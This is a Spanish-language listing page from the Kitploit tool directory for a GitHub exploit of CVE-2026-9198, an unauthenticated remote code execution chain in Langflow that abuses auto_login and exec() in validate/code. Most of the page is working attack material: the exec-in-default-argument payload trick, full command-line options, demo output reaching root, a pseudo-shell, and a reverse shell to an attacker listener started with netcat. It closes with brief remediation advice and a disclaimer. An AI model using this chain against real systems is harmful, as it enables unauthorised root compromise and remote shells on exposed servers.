Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-9198_exploit — Exploit para CVE-2026-9198, que contiene payloads de prueba de concepto y pasos de validación para evaluar la vulnerabilidad en entornos objetivo. | Kitploit
Herramientas/GitHubGitHub/chessalekin/cve-2026-9198_exploit
Análisis de VulnerabilidadesExplotaciónPruebas de Penetración
GitHubchessalekin/cve-2026-9198_exploit

cve-2026-9198_exploit

Exploit para CVE-2026-9198, que contiene payloads de prueba de concepto y pasos de validación para evaluar la vulnerabilidad en entornos objetivo.

Ver Repositorio
22hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-9198 — RCE no autenticada en Langflow OSS

Ejecución remota de código no autenticada en IBM Langflow OSS (1.0.0 – 1.10.0) en un despliegue por defecto. Encadena dos fallos:

  • CVE-2026-9103 — GET /api/v1/auto_login emite un JWT de SUPERUSER a cualquier solicitante sin credenciales siempre que AUTO_LOGIN esté habilitado (el valor por defecto en Langflow < 1.5).
  • CVE-2026-8481 — POST /api/v1/validate/code pasa Python proporcionado por el usuario a exec() sin sandbox.

Juntos (CVE-2026-9198), un atacante no autenticado obtiene ejecución de código como el usuario del servicio Langflow — que con frecuencia es root.

Qué hace

  1. Solicita un token bearer de superusuario a /api/v1/auto_login (sin autenticación).

  2. Envía un payload a /api/v1/validate/code. El endpoint ejecuta el código con exec() para "validarlo"; Python evalúa los valores de los argumentos por defecto en el momento de la definición, por lo que el payload se envuelve en un argumento por defecto de una función:

    def _v(a=exec('<payload>')): pass
    

    Para la ejecución de comandos, el payload lanza una excepción cuyo mensaje es la salida del comando, que el endpoint refleja de vuelta en la respuesta (function.errors[]).

Uso

./exploit.py -t <target> [options]

  -t, --target     target host/IP (or full URL)          (required)
  -p, --port       Langflow port                          (default 7860)
  -c, --cmd        run a single shell command, print output
      --shell      interactive pseudo-shell (each line runs via the RCE)
      --lhost      reverse-shell listener IP
      --lport      reverse-shell listener port            (default 4444)
  -k, --token      use this bearer token (skip auto_login)
      --timeout    HTTP timeout in seconds                (default 20)
      --no-banner  suppress the banner
  -h, --help       show help

Demostración

$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
  auto_login (superuser token) -> validate/code (exec)

[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)

$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b

$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root

# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.

Requisitos

  • Python 3.6+ (solo biblioteca estándar — no se necesita pip install)

Notas

  • Funciona solo mientras AUTO_LOGIN esté habilitado (el valor por defecto en Langflow < 1.5; en >= 1.5 debe ser explícitamente LANGFLOW_AUTO_LOGIN=true). Si auto_login no devuelve ningún token, el objetivo no es explotable por esta vía — proporcione un token válido con -k si dispone de uno.
  • La salida del comando se devuelve en la respuesta function.errors[]; stderr se fusiona con stdout para que los comandos fallidos sigan mostrando su error.
  • El código se ejecuta como el usuario del servicio Langflow. Si ese es root (habitual con langflow run sin más bajo systemd/Docker como root), esto es root directo en el host.

Remediación

  • Actualice Langflow más allá del rango afectado; validate/code no debe ejecutar con exec() entradas no confiables y auto_login no debe emitir tokens de superusuario.
  • Establezca LANGFLOW_AUTO_LOGIN=false y configure credenciales de superusuario reales.
  • Nunca ejecute el servicio Langflow como root.

Descargo de responsabilidad

Este proyecto se publica únicamente para pruebas de seguridad autorizadas y fines educativos. No lo utilice contra sistemas que no sean de su propiedad o para los que no tenga permiso explícito para probar. El autor no acepta ninguna responsabilidad por el uso indebido.

Descargar herramienta